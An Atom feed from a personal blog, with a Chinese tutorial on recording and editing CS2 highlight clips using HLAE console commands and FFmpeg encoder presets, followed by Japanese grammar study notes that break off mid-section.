<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Nihil</title>
  
  <subtitle>只要你在身边，我就会充满勇气</subtitle>
  <link href="https://blog.alexation.cn/atom.xml" rel="self"/>
  
  <link href="https://blog.alexation.cn/"/>
  <updated>2026-06-07T10:42:12.371Z</updated>
  <id>https://blog.alexation.cn/</id>
  
  <author>
    <name>Nihil</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>🎮 CS2高光时刻｜制作属于自己的高光片段</title>
    <link href="https://blog.alexation.cn/hobby/cs_clip/"/>
    <id>https://blog.alexation.cn/hobby/cs_clip/</id>
    <published>2026-06-07T00:00:00.000Z</published>
    <updated>2026-06-07T10:42:12.371Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">制作属于自己的CS2高光片段</h1><h2 id="简介">简介</h2><p>在一场 CS2 竞技模式中，我使用沙漠之鹰完成了一次五杀。对于普通玩家来说，这类瞬间并不算经常出现，因此我最初的想法是将这一回合保存下来，做成一段比较完整的高光视频，既方便自己回顾，也可以作为一次视频制作流程的练习。</p><p>不过在实际尝试过程中，我发现竞技平台自带的高光生成并没有想象中方便。部分平台在生成高光时需要消耗对应的资源或点数，而这些资源的获取过程相对繁琐；如果选择直接购买，成本也并不低。更重要的是，平台自动生成的视频虽然可以快速出片，但在镜头选择、节奏控制、画面质量和后期表现上仍然存在一定局限，很难完全符合自己的预期。因此，与其依赖平台自动生成，不如尝试自己从录像文件入手，手动完成素材提取、镜头录制、画面设置、剪辑处理和最终导出。这样虽然步骤会更复杂一些，但可控性更强，也更适合积累一套可复用的 CS2 视频制作流程。</p><p>本篇文章将围绕这次手枪五杀的素材制作过程进行记录，重点整理 CS2 视频制作中可能涉及的几个环节，包括录像回放的获取与定位、游戏内观察视角和画面参数的调整、录屏工具的选择、素材剪辑思路，以及最终成片时需要注意的问题。本文并不追求一次性给出最专业的影视级方案，而是希望从普通玩家的实际需求出发，记录一套成本较低、操作可控、效果相对稳定的 CS2 高光视频制作方法。</p><h3 id="所使用到的工具：">所使用到的工具：</h3><div class="note purple anzhiyufont anzhiyu-icon-fan flat"><p>HLAE提供了完整的视频制作解决方案❤</p></div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p><strong>视频剪辑软件</strong>：PR、剪映、必剪等视频剪辑软件，用于进行视频裁减以及添加特效等。</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p><strong>Counter-Strike游戏本体</strong>：由于需要针对DEMO进行录制，因此需要使用游戏本体打开。</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p><strong>Half-Life Advanced Effects(HLAE)</strong>：Half-Life Advanced Effects (HLAE) 是一款主要用于增强反恐精英系列游戏内容创作的工具。</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p><strong>FFmpeg</strong>：一款功能齐全、跨平台的音频和视频录制、转换和流媒体解决方案。下载体验，视频和音频转换从未如此简单。</p>            </div><h2 id="制作步骤介绍">制作步骤介绍</h2><h3 id="1-软件安装">1.软件安装</h3><p><a href="https://github.com/advancedfx/advancedfx">https://github.com/advancedfx/advancedfx</a> 为程序的官方网站，针对中文开发，提供了中文站：<a href="https://hlae.site/">https://hlae.site/</a> 。下载安装后，打开工具-开发者选项，选择steam中CS2软件的路径，并添加x64文件夹中的AfxHookSource2.dll到DLL窗口中，后点击确定即可使用HLAE打开CS2软件进行DEMO观看。打开CS2后，请打开控制台输入mirv查看是否有推荐补全命令，否则代表环境存在问题。</p><h3 id="2-视频录制">2.视频录制</h3><p>获取需要录制的dem后缀文件，复制到csgo文件夹下，使用HLAE打开CS2后使用控制台命令<code>playdemo example.dem</code>打开demo文件。我们可以通过鼠标左键或者数字键选择玩家，空格或者滚轮来选择视角。锁定对应视角后，shift+F2可以切换demo滑轨。可以通过<code>cl_draw_only_deathnotices 1</code>来关闭UI界面，只保留击杀信息和准星</p><pre class="language-cfg" data-language="cfg"><code class="language-cfg">bind m &quot;toggle cl_draw_only_deathnotices&quot;&#x2F;&#x2F;一键开关ui bind n &quot;demo_togglepause&quot;&#x2F;&#x2F;暂停播放demo</code></pre><h3 id="3-mirv-streams">3.mirv_streams</h3><p>完成步骤1和2即可完成常见的视角录制，但是在针对动作慢放时会发现果冻效应非常严重，因此需要提供帧数录制。高帧率录制可以进行丝滑的帧混合，制作卡点视频，模拟子弹时间、开枪/切刀慢放等一系列特效。将https://hlae.site/中的FFmpeg下载到HLAE软件安装路径的ffmpeg下。首先使用命令<code>mirv_streams record screen enabled 1</code>开启屏幕录制。后使用<code>mirv_streams record name &quot;your save path&quot;</code>配置保存路径。通过<code>mirv_streams record fps 1500</code>调节录制帧率。<code>mirv_streams record start</code>以及<code>mirv_streams record end</code>进行开始和结束录制。当不需要进行相关慢动作特效时，可以将FPS从1500降低到300-500。</p><pre class="language-cfg" data-language="cfg"><code class="language-cfg">mirv_streams record screen enabled 1&#x2F;&#x2F;开启屏幕录制mirv_streams record name &quot; &quot;&#x2F;&#x2F;保存录制路径mirv_streams record fps 1500&#x2F;&#x2F;录制帧率1500bind k &quot;mirv_streams record start&quot;&#x2F;&#x2F;按K键开始录制bind l &quot;mirv_streams record end &quot;&#x2F;&#x2F;按l键停止录制</code></pre><p>当然，可以通过命令自定义编码器，针对电脑配置自定义（NVIDIA推荐n1，AMD推荐c1）：</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">echo</span> ═════════════════════════════════════════════════════════════<span class="token builtin class-name">echo</span> 指令     <span class="token operator">|</span>  8bit <span class="token number">444</span>  <span class="token operator">|</span> 拉伸 <span class="token number">16</span>:9 <span class="token operator">|</span> 含义<span class="token builtin class-name">echo</span> ─────────────────────────────────────────────────────────────<span class="token builtin class-name">echo</span> tga     <span class="token operator">|</span>            <span class="token operator">|</span>           <span class="token operator">|</span> .tga 图片序列<span class="token builtin class-name">echo</span> p0      <span class="token operator">|</span>            <span class="token operator">|</span>           <span class="token operator">|</span> ProRes <span class="token number">4444</span><span class="token builtin class-name">echo</span> p0a     <span class="token operator">|</span>            <span class="token operator">|</span>           <span class="token operator">|</span> ProRes <span class="token number">4444</span> 8bits Alpha通道<span class="token builtin class-name">echo</span> phq     <span class="token operator">|</span>            <span class="token operator">|</span>           <span class="token operator">|</span> ProRes <span class="token number">422</span> HQ<span class="token builtin class-name">echo</span> p1      <span class="token operator">|</span>            <span class="token operator">|</span>    p1s    <span class="token operator">|</span> ProRes <span class="token number">422</span><span class="token builtin class-name">echo</span> p2      <span class="token operator">|</span>            <span class="token operator">|</span>    p2s    <span class="token operator">|</span> ProRes LT<span class="token builtin class-name">echo</span> p3      <span class="token operator">|</span>            <span class="token operator">|</span>    p3s    <span class="token operator">|</span> ProRes Proxy<span class="token builtin class-name">echo</span> c0      <span class="token operator">|</span>    c0p     <span class="token operator">|</span>           <span class="token operator">|</span> x264 无损<span class="token builtin class-name">echo</span> c1      <span class="token operator">|</span>    c1p     <span class="token operator">|</span>    c1s    <span class="token operator">|</span> x264 高画质<span class="token builtin class-name">echo</span> c2      <span class="token operator">|</span>    c2p     <span class="token operator">|</span>           <span class="token operator">|</span> x264 中画质<span class="token builtin class-name">echo</span> he0     <span class="token operator">|</span>    he0p    <span class="token operator">|</span>           <span class="token operator">|</span> x265 无损<span class="token builtin class-name">echo</span> he1     <span class="token operator">|</span>    he1p    <span class="token operator">|</span>    he1s   <span class="token operator">|</span> x265 高画质<span class="token builtin class-name">echo</span> he2     <span class="token operator">|</span>    he2p    <span class="token operator">|</span>           <span class="token operator">|</span> x265 中画质<span class="token builtin class-name">echo</span> n0      <span class="token operator">|</span>    n0p     <span class="token operator">|</span>           <span class="token operator">|</span> hevc Nvidia 加速 无损<span class="token builtin class-name">echo</span> n1      <span class="token operator">|</span>    n1p     <span class="token operator">|</span>    n1s    <span class="token operator">|</span> hevc Nvidia 加速 高画质<span class="token builtin class-name">echo</span> nav1    <span class="token operator">|</span>            <span class="token operator">|</span>    nav1s  <span class="token operator">|</span> AV1  Nvidia 加速 高画质 RTX40系<span class="token builtin class-name">echo</span> n2      <span class="token operator">|</span>    n2p     <span class="token operator">|</span>           <span class="token operator">|</span> hevc Nvidia 加速 中画质<span class="token builtin class-name">echo</span> a0      <span class="token operator">|</span>            <span class="token operator">|</span>           <span class="token operator">|</span> hevc AMD    加速 无损<span class="token builtin class-name">echo</span> a1      <span class="token operator">|</span>            <span class="token operator">|</span>    a1s    <span class="token operator">|</span> hevc AMD    加速 高画质<span class="token builtin class-name">echo</span> a2      <span class="token operator">|</span>            <span class="token operator">|</span>           <span class="token operator">|</span> hevc AMD    加速 中画质<span class="token builtin class-name">echo</span> i0      <span class="token operator">|</span>            <span class="token operator">|</span>           <span class="token operator">|</span> hevc Intel  加速 无损<span class="token builtin class-name">echo</span> i1      <span class="token operator">|</span>            <span class="token operator">|</span>    i1s    <span class="token operator">|</span> hevc Intel  加速 高画质<span class="token builtin class-name">echo</span> i2      <span class="token operator">|</span>            <span class="token operator">|</span>           <span class="token operator">|</span> hevc Intel  加速 中画质<span class="token builtin class-name">echo</span> ═════════════════════════════════════════════════════════════<span class="token builtin class-name">echo</span> ████ 注意: 显卡编码 驱动版本和ffmpeg版本匹配 出错请更新驱动或回退ffmpeg// 设定默认使用的预设（此处根据需要修改）c1<span class="token punctuation">;</span></code></pre><h3 id="4-运镜制作">4.运镜制作</h3><p>在看CS2的比赛时，经常发现视角并不是固定在某个位置或者总是第一人称视角，有时导播会给出一系列运动的镜头，那么我们该如何自己制作这些镜头呢？HLAE提供了方便录制的解决方案。使用命令<code>mirv_input camera</code>可以进入摄像机模式，R键和F键可以调整摄像机的高度，Z键和X键可以对摄像机进行逆时针和顺时针的旋转。<code>mirv_campath draw enabled 1</code>命令可以显示摄像机的机位。<code>mirv_campath add</code>命令来添加一个新的机位，想要让镜头动起来，需要4个及以上的机位（注意每个时间只能放置一个机位）。添加完毕后，ESC退出摄像机模式，使用<code>mirv_campath enable 1</code>命令来开启摄像机。回到第一个摄像机机位放置时的位置即可进行查阅。同时<code>mirv_campath clear</code>可以清空所有的摄像机。<code>mirv_campath remove X</code>也可以单独删除某个机位。</p><pre class="language-cfg" data-language="cfg"><code class="language-cfg">mirv_campath enable 1&#x2F;&#x2F;启动摄像机bind v &quot;mirv_campath add&quot;&#x2F;&#x2F;vj键添加摄像机</code></pre><h2 id="高光片段成品">高光片段成品</h2><p><img src="https://img.alexation.cn/blog/post/hobby/cs_clip/capcut.webp" alt=""></p><div style="width: 100%; max-width: 960px; aspect-ratio: 16 / 9;">  <iframe    id="dogePlayerFrame"    src="https://player.dogecloud.com/web/player.html?vcode=6af1acbb08e4010a&userId=9384&autoPlay=false&inFrame=true"    style="width: 100%; height: 100%; border: 0;"    allowfullscreen="true"    msallowfullscreen="true"    webkitallowfullscreen="true"    mozallowfullscreen="true"    oallowfullscreen="true"    allowtransparency="true"    scrolling="no"    frameborder="0"    allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture; fullscreen"    referrerpolicy="unsafe-url">  </iframe></div><h2 id="总结">总结</h2><p>以上就是本次 CS2 高光片段制作过程的完整记录。从最初获取 DEMO 文件，到使用 HLAE 打开录像、定位回合、录制第一人称视角，再到通过 <code>mirv_streams</code> 输出高帧率素材，以及后续尝试摄像机路径和剪辑处理，整个流程相比平台自动生成高光会更加繁琐，但最终能够获得更高的自由度和可控性。自己制作高光视频的最大优势在于可以根据实际需求调整画面表现和剪辑节奏。例如是否保留 UI、是否录制击杀信息、是否添加慢动作、是否制作第三人称运镜，这些都可以通过 HLAE 和后期软件进行细致控制。虽然前期需要花一些时间熟悉命令和录制流程，但只要完成一次配置，后续制作其他高光片段时就会顺手很多。本次制作也让我意识到，CS2 视频创作并不只是简单地把游戏画面录下来。想要做出观感更好的片段，还需要考虑镜头选择、帧率设置、编码格式、节奏卡点以及素材管理等细节。尤其是在制作慢放和运镜效果时，高帧率录制和合理的摄像机路径会直接影响最终成片质量。如果希望画面更干净、节奏更可控、效果更接近自己预期，那么手动录制和剪辑会是更合适的选择。本文记录的流程仍然属于入门级方案，后续如果继续深入，还可以进一步研究分层录制、景深效果、粒子隐藏、HUD 自定义、调色与音效设计等内容，让 CS2 高光片段拥有更完整的视觉表现。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 style=&quot;text-align:center;font-family:FZZhiYi-M12S;font-weight:700;&quot;&gt;制作属于自己的CS2高光片段&lt;/h1&gt;
&lt;h2 id=&quot;简介&quot;&gt;简介&lt;/h2&gt;
&lt;p&gt;在一场 CS2 竞技模式中，我使用沙漠之鹰完成了一</summary>
      
    
    
    
    <category term="视频剪辑" scheme="https://blog.alexation.cn/categories/%E8%A7%86%E9%A2%91%E5%89%AA%E8%BE%91/"/>
    
    
    <category term="GAME" scheme="https://blog.alexation.cn/tags/GAME/"/>
    
  </entry>
  
  <entry>
    <title>🎮 Valorant日服手札｜边打游戏边学日语的入门笔记</title>
    <link href="https://blog.alexation.cn/hobby/japanese/"/>
    <id>https://blog.alexation.cn/hobby/japanese/</id>
    <published>2026-02-23T00:00:00.000Z</published>
    <updated>2026-02-24T03:39:24.252Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">边打游戏边学日语的入门笔记</h1><p>我的国服账号被限制必须预安装腾讯反作弊系统才能游玩，因此我开始游玩国际服，同时为了保证延迟较低，亚太服基本会选择日本东京，中国香港等服务节点。港服基本采用英文的交流方式，并且绝大多数对局中使用中文也可以进行良好的沟通与交流。而日服的交流方式几乎全部是日语，其语法与英语相差较大。比如”私 好き 猫“以及“私は 猫が 好き”。Postpositional particle是日语语法中的一个重要概念，中文叫 “助词” 或 “后置词”。英语用的是“前置词”（Preposition），比如 <em>in, on, at</em>，放在名词前面：</p><div class="note purple anzhiyufont anzhiyu-icon-fan flat"><p><strong>in</strong> the room</p></div><p>日语正好相反，用“后置词”（Postpositional particle），放在名词后面：</p><div class="note purple anzhiyufont anzhiyu-icon-fan flat"><p>部屋 <strong>に</strong></p><p>(heya <strong>ni</strong>) —— に = 相当于英语的 <em>in</em></p></div><p>并且日式发音中的R和L可能会有一定程度上的混淆，因此针对日服的游玩，还需要进行日语方面的简单学习，本笔记便是针对日服进行简单的日语记录。</p><h2 id="日语动词十二种变形总结">日语动词十二种变形总结</h2><h3 id="动词以う段结尾">动词以う段结尾</h3><p><img src="https://i.loli.net/2021/08/24/U7HB8yK9FiYJuhc.png" alt=""></p><ul><li>一类动词（五段动词）：不以る结尾，或以る结尾而倒数第二个音不在い段或え段，或“特例”：要る（いる）、知る（しる）、帰る（かえる）、入る（はいる）、入る（いる）、切る（きる）、減る（へる）、滑る（すべる）。由来：う段动词可以对其他四段进行变化，便有了“五段”。</li><li>二类动词（一段动词）：以る结尾，倒数第二个音在い段或え段。由来：上一段或下一段，便有了“一段”。</li><li>三类动词（か变、さ变）：来る（くる）、する（する或汉字、片假名+する）</li></ul><p><font style="font-weight:700;color:#B399FF">动词简体形：基本型、ない型、だ型、なかた型</font></p><h4 id="う—-ます—-て-た">う—&gt;ます—&gt;て/た</h4><ul><li>あ：被、未、使（使被）</li><li>い：ます</li><li>う：原形、（て、た）</li><li>え：命、假、可</li><li>お：意</li></ul><h4 id="ます：">ます：</h4><p>一类变い段，二类去る、三类先去る再变い段</p><h4 id="て（た）：">て（た）：</h4><p>一类：</p><ul><li><p>姑哭姨爹贴（ぐくいでて）ぐー＞いで、くー＞いて</p></li><li><p>五次露出（うつるっ）ー＞ て</p></li><li><p>母不怒（むぶぬ）ー＞んで</p></li><li><p>是喜帖（すして）すー＞して</p></li><li><p>特例：行くー＞いって</p></li></ul><p>二类：去る　＋　て</p><p>三类：きて、して</p><h4 id="被动形：う段变あ段（うー＞わ）">被动形：う段变あ段（うー＞わ）</h4><ul><li>一类：被动れる</li><li>二类：られる</li><li>来る：こられる</li><li>する：される</li></ul><h4 id="ない形：う段变あ段（うー＞わ）">ない形：う段变あ段（うー＞わ）</h4><ul><li>一类：う→あ　＋　ない</li><li>二类：去る　＋　ない</li><li>三类：来るー＞こない、するー＞しない</li><li>特殊：あるー＞ない</li></ul><h4 id="使役形：う段变あ段（うー＞わ）">使役形：う段变あ段（うー＞わ）</h4><ul><li>一类：使役せる</li><li>二类：させる</li><li>来る：こさせる</li><li>する：させる</li></ul><h4 id="使役被动形（先使役后被动）：">使役被动形（先使役后被动）：</h4><p>せるー＞せられる（约音：如果前音无さ可把せら换成さ）</p><h4 id="命令形（一え二ろ、三こい，しろ才是命令形）：">命令形（一え二ろ、三こい，しろ才是命令形）：</h4><ul><li>一类：うー＞え</li><li>二类：去る　＋　ろ</li><li>三类：来るー＞こい、するー＞しろ</li><li><em><strong>工口白色恋人</strong></em>***（不是***</li></ul><h4 id="可能形（可能える、られる…）：">可能形（可能える、られる…）：</h4><ul><li>一类：うー＞え　＋　る</li><li>二类：去る　＋　られる（和被动相同）</li><li>三类：来るー＞こられる（和被动相同）、するー＞できる</li></ul><h4 id="假定形（假定えば、ければ）：">假定形（假定えば、ければ）：</h4><ul><li><p>一类：うー＞え　＋　ば</p></li><li><p>二类：去るー＞れば</p></li><li><p>三类：くるー＞くれば、するー＞すれば</p></li><li><p>一类形容词：いー＞ければ</p></li><li><p>二类形容词或名词：であれば、ならば、なら</p></li></ul><h4 id="意志形（哟-）：">意志形（哟~）：</h4><ul><li>一类：うー＞お　＋　う</li><li>二类：去る　＋　よう</li><li>三类：来るー＞こよう、するー＞しよう</li></ul><p>⚠帰るー＞帰ろう　！＝　食べろ（前面是动词意志形，后面是动词命令形，千万不要记混）</p><h2 id="简单句型语法总结">简单句型语法总结</h2><h3 id="重要句型总结以及单词语法扩展">重要句型总结以及单词语法扩展</h3><h4 id="4-あります、います">4.あります、います</h4><p>源自ある、いる，都有存在的意思，至于书上的理解是将事物分为有无意志，而我更认同另外一种理解——是否可以运动。如：電車がある、電車がいる，就可以根据这个要点来理解。这也解释了部分植物可以使用いる来形容。</p><h4 id="8-あげます、もらいます">8.あげます、もらいます</h4><p>源自あげる、もらう，即给予与得到。在这一课作动词，前接を。是我送给别人礼物与我从别人那里收到礼物的区别。详细语法在28课会有详细区分。</p><h4 id="11-分かります、できます">11.分かります、できます</h4><p>源自わかう、できる，即明白和能够。好恶类接が、上手下手苦手是一样的。</p><h4 id="15-いいです、いけません">15.いいです、いけません</h4><p>emm…其实这个词和結構です都挺矛盾的。有的时候理解为否定，有的时候是肯定，对于除自己以外的其他人进行评价时：「結構です」大多持肯定意思，而对于自己会从中得到恩惠时：「結構です」持否定意思。虽然有语境限制，但仍然总被误会，所以最好加上もう、いいえ、はい比较好。いけません源自いく，可以看作先变命令形，在做ます否定形式的变换，即“禁止”。</p><h4 id="18-なります、します">18.なります、します</h4><p>源自なる、する，前者表示自然变化，后者表示人为改变。</p><h4 id="19-なければなりません">19.なければなりません</h4><p>源自ない、なる，其进行假定形变换，ないー＞なければ，なるー＞なりません。也就是说，助动词「ない」的假定形,后边否定形式，表示必须。</p><h4 id="20-ことができる、ことがある">20.ことができる、ことがある</h4><p>查一查こと，好多知识点！こと就是“事情”的意思。动词+こと就是指关于“这个动作的事情。这样的用法成为动词名词化，こと就是形式名词。动词过去时+ことがある表示曾经有过这件事，现在时+ことがある表示有时候会有这样的事情。ことができる则表示：个人的能力或外在环境允许的行为。</p><h4 id="26-かもしれません">26.かもしれません</h4><p>源自かもしれない（好像是一样的唉），查了查かも、野鸭？查了查かもしれる，可能失败？再查一查かもしる，也许、可能，这个应该比较接近。</p><h4 id="27-ながら、ています">27.ながら、ています</h4><ul><li>ながら表示同一主体同时进行两个动作。其中<font style="font-weight:700;color:#B399FF">后面</font>的动作是主要动作。（动词连用</li><li>ています：反复、结果、习惯</li></ul><h4 id="28-をくれます、てあげます、てもらいます、てくれます">28.をくれます、てあげます、てもらいます、てくれます</h4><ul><li><strong>をくれます</strong>前接给的物品，源自くれる，表示他人给自己的东西。即别人<font style="font-weight:700;color:#B399FF">给</font>说话人或者说话人一方的人某物，故わたしは一般省略。</li><li><strong>てくれます</strong>前接动作，源自くれる，表示他人为自己做事情。即别人<font style="font-weight:700;color:#B399FF">为</font>说话人或者说话人一方的人做某事，故わたしに一般省略。关键词：が</li><li><strong>てあげます</strong>前接动作，源自あげる，表示给予、给。即说话人或者说话人一方的人<font style="font-weight:700;color:#B399FF">为</font>别人做某事的用法。他人用助词“に”来表示。但要注意避免使用这种用法，因为它给人的感觉更接近“接受我的恩惠吧！”。（光孕众生，众生随影</li><li><strong>てもらいます</strong>前接动作，源自もらう，表示得到收到。即说话人或说话人一方的人<font style="font-weight:700;color:#B399FF">请</font>别人做某事的用法，一般省略主语。关键词：は、に</li></ul><h4 id="29-という">29.という</h4><p>提供对方不知道的新信息的时候，在表示新信息的词语后面要加“という”</p><h4 id="30-とおもいます">30.とおもいます</h4><p>源自（と）おもう、前接动词意志形，这样使用比单纯地使用意志形更加礼貌，温和。</p><h4 id="31-と、ば、だら、なら">31.と、ば、だら、なら</h4><ol><li>「と」　前句成立时，必定产生后句<br>「ば」　后句的成立取决于「前句的假设」。<br>「たら」针对动作已经发生之后， 提出后句。<br>「なら」针对动作尚未发生之前，提出后句。</li><li>「と」「ば」皆可用以表示「恒常的必然条件」<br>「たら」可用以表示「发现」<br>「なら」通常为「针对已知部分」做结论。</li><li>「と」和「たら」的后句可以是过去式，「ば」和「なら」的后句不能是过去式。</li></ol><h4 id="32-ことにします、ことになりました、ことができる">32.ことにします、ことになりました、ことができる</h4><p>前面有写「になる」是注重自然演变，「にする」是注重人为结果。再来看ことに、源自ことにする、ことになる。前者注重人为决定的结果，表示个人的决定或选择，后者表示自然演变的结果，通常个人意志无法改变。而ことができる表示个人的能力或外在环境允许的行为。（在20有提到过）</p><p>这里在网络上找到例句：</p><p>①私はピアノを弾きません。<br>（我不弹钢琴）→ 非能力，而是意愿。</p><p>②私はピアノを弾くことができません。<br>（我不会弹钢琴）→ 指能力 = 弾けない。</p><p>③ここではピアノを弾くことができません。<br>（这里不可以弹钢琴）→指外在环境不允许。</p><h4 id="33-自动-と-他动、てしまいます">33.自动 と 他动、てしまいます</h4><p>自动词和他动词最大的差异在于<font style="font-weight:700;color:#B399FF">焦点不同</font>。自动词顾名思义就是自发产生的动作，焦点多半在于物体本身或自然现象，而非人为（包含动物）的动作上，并经常用于表示状态或一种动作存留的结果。相反的，他动词的焦点在于人为动作（包含动物）或出于意志的行为。</p><p><img src="https://www.sigure.tw/image/n5/grammar/n5-grammar-24-02-jitadoushi.png" alt=""></p><ul><li><p>てしまいます：一般表示该动作所产生的结果是令人不愉快的事情，伴有遗憾心情</p></li><li><p>そうです：前接完整句，则表示<font style="font-weight:700;color:#B399FF">听说</font>、前接不完整句，则表示<font style="font-weight:700;color:#B399FF">好像</font></p></li></ul><h4 id="34-ておきます">34.ておきます</h4><p>源自おく，保持…（状态）</p><h4 id="35-だら、いくらても、だけ、しか＋否定、なかなか">35.だら、いくらても、だけ、しか＋否定、なかなか</h4><ul><li>だら：不一定会发生的假设</li><li>いくらても：无论都</li><li>だけ：客观的仅仅（这就是全部，不再有其他</li><li>しか＋否定：主观的仅仅（除了举出的一项，其他都不是这样</li><li>なかなか：事情没有期待的那么简单</li></ul><h4 id="36-ばかり、のが、のに">36.ばかり、のが、のに</h4><p>ばかり：所列举事项全部相同</p><p>のが、のに：表能力、基准</p><h4 id="37-なら、とかとか">37.なら、とかとか</h4><ul><li>なら：建立自己的意见或者想法的假设</li><li>とかとか：用于列举同样性质的几个例子</li></ul><h4 id="38-ように、ようになります、ようにします（44-ようです）">38.ように、ようになります、ようにします（44.ようです）</h4><p>よう字典上给的词性是助词，但在这里，可以理解为名词词性，即“样子”。前接动词要是简体形，接名词便要加の。后面加上にします、就是像这个名词这么做，而后面加上になります、就是变成这个名词的样子。</p><h4 id="39-ために（のために）、ていきます-きます">39.ために（のために）、ていきます/きます</h4><ul><li>ために：1.为了2.原因</li><li>ていきます：表示由近及远的移动</li><li>てきます：表示由远及近的移动</li></ul><h4 id="40-ところです">40.ところです</h4><p>前接<font style="font-weight:700;color:#B399FF">ている</font>表示动作的持续，前接<font style="font-weight:700;color:#B399FF">た</font>表示动作或事件刚刚结束，</p><h4 id="41-によって">41.によって</h4><p>根据、由于</p><h4 id="42-まま（のまま）、のに、はずです">42.まま（のまま）、のに、はずです</h4><p>まま（のまま）：表示将理应改变的状态保持着去进行另外的动作</p><p>⚠ ”まま“前不能用简体形！</p><p>のに：表示在“小句1”的情况发生的“小句2”的情况不符合常识常理（尽管上了闹钟，还是没起来~）</p><p>はずです：用于对所推测的内容非常有把握的情况</p><h4 id="43-やすいです-にくいです">43.やすいです/にくいです</h4><p>前接动词连用型，表示“易于~”和“难于~</p><h4 id="44-ようです（のようです）、みたいです、らしいです、過ぎます、一类形-さ">44.ようです（のようです）、みたいです、らしいです、過ぎます、一类形+さ</h4><ul><li>ようです（のようです）：表示根据说话人感知的某种情况进行推测</li><li>みたいです：和ようです基本相同，常见于口语</li><li>らしいです：根据情况进行推测、或委婉地叙述听来的信息</li><li>過ぎます：表示某种动作或事物的性质超过了正常的量或程度</li><li>一类形+さ：表示程度</li></ul><h4 id="45-し、ば＋ほど">45.し、ば＋ほど</h4><ul><li>し：叙述并列事项</li><li>ば＋ほど：越…越…</li></ul><h4 id="46-いかにも＋名词＋らしい、まるで＋ようです、間-間に">46.いかにも＋名词＋らしい、まるで＋ようです、間/間に</h4><ul><li>いかにも＋名词＋らしい：典型</li><li>まるで＋ようです：简直像…一样</li><li>間/間に：前者表示某种行为或事态持续的时间段，后者表示某种行为或事态发生或完成的时间范围</li></ul><h4 id="47-48-尊他语-and-自谦语">47&amp;&amp;48.尊他语 and 自谦语</h4><p>“尊敬语”是抬高对方地位的一种敬意表现，因此用于对方的动作上，如“社长はもう帰りました”是“老闆（对方）”做的动作“回去（帰る）”，为了提高老闆（对方）的地位，因此要将老闆（对方）的动作改为尊敬语：“社长はもうお帰りになりました。”</p><p>“谦让语”是降低自己地位的一种谦逊表现，因此用于自己的动作上，例如“私は部长に会いました”是“我（自己）”做的动作“见面（会う）”，为了降低我（自己）的地位，因此要将我（自己）的动作改为谦让语：“私は部长にお目にかかりました。”</p><h2 id="「料理のさしすせそ」でおいしくなる理由は？">「料理のさしすせそ」でおいしくなる理由は？</h2><h3 id="「さ」砂糖">「さ」砂糖</h3><p>砂糖は塩より分子が大きく浸透性が低いので、先に入れて味を馴染ませるのがおすすめです！<br>砂糖はサトウキビや砂糖大根から作られています。食材をやわらかくし、料理につやも出してくれますよ。加熱すると焼き色がついて香ばしい香りも広がります。水に溶けやすく食材の水分を吸着する働きがあるので、食材の乾燥を防ぐこともできる調味料です。</p><h3 id="「し」塩">「し」塩</h3><p>塩は砂糖より分子が小さく浸透性が高くなるため、先に入れてしまうと砂糖が馴染みにくくなります。なので砂糖より後から塩を入れるのがおすすめです。<br>日本には海水を煮詰めてる来る自然塩と、高い濃度の自然塩を再生加工した精製塩があります。塩には食材の水分を吸い取り、保存性を高める作用があります。発酵食品を作るためや、果物や野菜の色を良くするためにも使われます。魚介類や肉類の身を引き締める効果もありますよ。</p><h3 id="「す」酢">「す」酢</h3><p>酢は酸味が飛んでしまうので、後から入れましょう。「さしすせそ」では3番目にありますが、煮物の場合は酸味を活かすために最後に入れるといいとも言われています。<br>米や麦などの穀物や果物を原料にしたもろみ、またはこれにアルコールや砂糖を加えて酢酸発酵させたものが酢です。塩気と甘味を緩和してくれ、野菜の褐変を防ぎ、みょうがや紫キャベツなど赤色などの食材の色を鮮やかにする効果もあります。殺菌作用もありますよ。</p><h3 id="「せ」醤油（せうゆ）">「せ」醤油（せうゆ）</h3><p>醤油は風味が飛んでしまうので、後から入れましょう。<br>大豆、小麦、食塩を発酵させてできたもろみをしぼって作られます。魚介や肉類の生臭さを消し、風味を良くしてくれますよ。殺菌や保存を助ける作用もあります。</p><h3 id="「そ」味噌">「そ」味噌</h3><p>味噌は風味が飛んでしまうので、後から入れましょう。<br>茹でた大豆と塩に麹を混ぜ、発酵させると味噌ができます。使う麹により、米麹を使った米味噌、麦麹を使った麦味噌、豆の麹である種麹を使った豆味噌の3種類に分かれます。風味をつけ、保存性を高めてくれますよ。味噌にも魚介や肉類の生臭さを消し、風味を良くしてくれる作用があります。</p><h2 id="其他细节">其他细节</h2><h4 id="1-は表示对比">1.は表示对比</h4><p>对比句一般至少需要有两个事物才可以形成，但有的时候其他对比的事物非常明显时都会省略。强调今天，就是和平常的这个时间做对比。例如：小野さんは　いしもは　働きますが、今日はやすみます。这时，は的使用可以加在に、で、へ、から、まで、と的后面构成复合形式。例如：私の　部屋には　電話が　ありません。</p><h4 id="2-いえ、うち">2.いえ、うち</h4><p>两者的意思都是（我）家，意指建筑物时一般用前者，着重指家人时一般会用后者。另外，うち本身就表示“我家”的含义，但是用いえ时必须要说わたしのいえ。</p><h4 id="3-”を”－＞”は”">3.”を”－＞”は”</h4><p>”を”前面的名词做话题，或者进行对比时，使用助词は，这时候原来的を必须去掉，不能变成をは的形式。</p><h4 id="4-多い和少ない">4.多い和少ない</h4><p>他们不同于其他一类形容词，不能单独修饰名词。</p><h4 id="5-おゆ和みず">5.おゆ和みず</h4><p>日语中，前者是”热水“或“开水”，而后者仅指”凉水“。</p><h4 id="6-”こうよう”-”もみじ”">6.”こうよう”　”もみじ”</h4><p>”こうよう”表示秋天阔叶林的落叶变红或树叶全部变成红色。“もみじ”多表示枫树的红叶。</p><h4 